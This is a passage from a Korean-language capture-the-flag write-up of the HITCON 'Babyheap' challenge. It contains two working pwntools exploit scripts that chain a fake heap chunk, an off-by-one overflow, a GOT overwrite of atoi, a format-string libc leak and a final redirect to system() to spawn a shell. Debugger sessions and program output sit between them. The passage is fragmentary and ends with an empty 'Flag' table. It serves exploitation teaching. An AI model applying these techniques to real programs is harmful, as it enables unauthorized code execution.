"3. Edit" 기능을 이용해 ptr→content 영역에 저장된 주소에 원하는 값을 저장 할 수 있습니다.
from pwn import *
context.log_level = 'debug'
binary = ELF('./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b')
got_atoi = binary.got['atoi']
plt_printf = binary.symbols['printf']
plt_scanf = binary.symbols['__isoc99_scanf']
def NewFunction(size,content,name):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('Size :')
p.sendline(str(size))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Name:')
p.sendline(name)
def DeleteFunction():
p.recvuntil('Your choice:')
p.sendline('2')
def EditFunction(content):
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('Content:')
p.sendline(content)
def ExitFunction(answer):
p.recvuntil('Your choice:')
p.sendline('4')
p.recvuntil('Really? (Y/n)')
p.sendline(answer)
p = process('./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b')
log.info("GOT atoi() : " + hex(got_atoi))
log.info("PLT printf() : " + hex(plt_printf))
log.info("PLT scanf() : " + hex(plt_scanf))
#Save Fake chunk
fakechunk = "n".ljust(0xfe0,"\x41") + p64(0) + p64(0x71)
ExitFunction(fakechunk)
#Off-by-One Error
NewFunction(32,'BBBB','OffbyOne')
DeleteFunction()
#Overflow ptr->content to atio() GOT
overflow = p64(0) * 4
overflow += p64(0x80)
overflow += 'A' * 8
overflow += p64(got_atoi)
NewFunction(96,overflow,"CCCC")
#Overlfow atio() GOT to printf() PLT + scanf() PLT
EditFunction(p64(plt_printf) + p64(plt_scanf))
p.interactive() |
autolycos@ubuntu:~/CTF/HITCON/Babyheap$ python Exploit.py
[*] '/home/autolycos/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
FORTIFY: Enabled
[+] Starting local process './babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b': Done
[*] GOT atoi() : 0x602078
[*] PLT printf() : 0x400780
[*] PLT scanf() : 0x400800
[*] Switching to interactive mode
Done!
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:$ |
[*] Switching to interactive mode
Done!
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:$ %p%p%p%p%p%p%p
0x7fff5adbd6e00x100x7fef49664cdc0x7fef49b227000xc0x400e360x7fef495bd73a
Invalid choice ! |
0x400948 영역에 break point를 설정합니다.
gdb-peda$ b *0x400948 Breakpoint 1 at 0x400948 gdb-peda$ c Continuing. |
다음과 같은 방법으로 "gEditState"의 값을 변경 할 수 있습니다.
UserInput() 함수의 취약성을 이용해 16개의 문자를 Stack에 저장 할 수 있습니다.
다음과 같이 "%8$p"를 입력하면 "0xa70243825" 를 출력합니다.
출력된 "0xa70243825"는 사용자가 입력한 "%8$p" 문자열의 Hex 값입니다.
%8 영역은 "nptr" 변수 영역이며, %9 영역은 지역변수의 기본주소가 저장된 영역입니다.
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:$ %8$p
$ 0xa70243825 |
Breakpoint 1, 0x0000000000400948 in ?? () gdb-peda$ i r rsi rsi 0x7ffea3212fa0 0x7ffea3212fa0 gdb-peda$ x/4gx 0x7ffea3212fa0 0x7ffea3212fa0: 0x0000000000000000 0x00007ffea3212fc0 0x7ffea3212fb0: 0x0000000000400820 0x8e40fe9595c66800 gdb-peda$ |
from pwn import *
context.log_level = 'debug'
binary = ELF('./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
got_atoi = binary.got['atoi']
plt_printf = binary.symbols['printf']
plt_scanf = binary.symbols['__isoc99_scanf']
editCount = 0x6020a4
system = libc.symbols['system']
def NewFunction(size,content,name):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('Size :')
p.sendline(str(size))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Name:')
p.sendline(name)
def DeleteFunction():
p.recvuntil('Your choice:')
p.sendline('2')
def EditFunction(content):
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('Content:')
p.sendline(content)
def ExitFunction(answer):
p.recvuntil('Your choice:')
p.sendline('4')
p.recvuntil('Really? (Y/n)')
p.sendline(answer)
p = process('./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b')
log.info("GOT atoi() : " + hex(got_atoi))
log.info("PLT printf() : " + hex(plt_printf))
log.info("PLT scanf() : " + hex(plt_scanf))
#Save Fake chunk
fakechunk = "n".ljust(0xfe0,"\x41") + p64(0) + p64(0x71)
ExitFunction(fakechunk)
#Off-by-One Error
NewFunction(32,'BBBB','OffbyOne')
DeleteFunction()
#Overflow ptr->content to atio() GOT
overflow = p64(0) * 4
overflow += p64(0x80)
overflow += 'A' * 8
overflow += p64(got_atoi)
NewFunction(96,overflow,"CCCC")
#Overlfow atio() GOT: atoi() PLT -> printf() PLT + scanf() PLT
EditFunction(p64(plt_printf) + p64(plt_scanf))
#Leak Libc address
p.recvuntil('Your choice:')
p.sendline('%3$p')
tmp = p.recvuntil('\nInvalid choice')[:14]
leakLibcAddress = int(tmp,16)
baseLibcAddress = leakLibcAddress - 0x116cdc
libcSystem = baseLibcAddress + system
log.info('Leak Libc Address : ' + hex(leakLibcAddress))
log.info("Base Libc Address : " + hex(baseLibcAddress))
log.info('Libc system() : ' + hex(libcSystem))
#Change the value of "gEditState"
p.recvuntil(':')
p.send("%9$nAAAA"+ p64(editCount))
#Call the Edit function
p.recvuntil(':')
p.sendline('HH')
#atoi() GOT: printf() plt -> system address
p.recvuntil(':')
p.sendline(p64(libcSystem))
p.sendline('sh')
p.interactive() |
|
| Flag |
|---|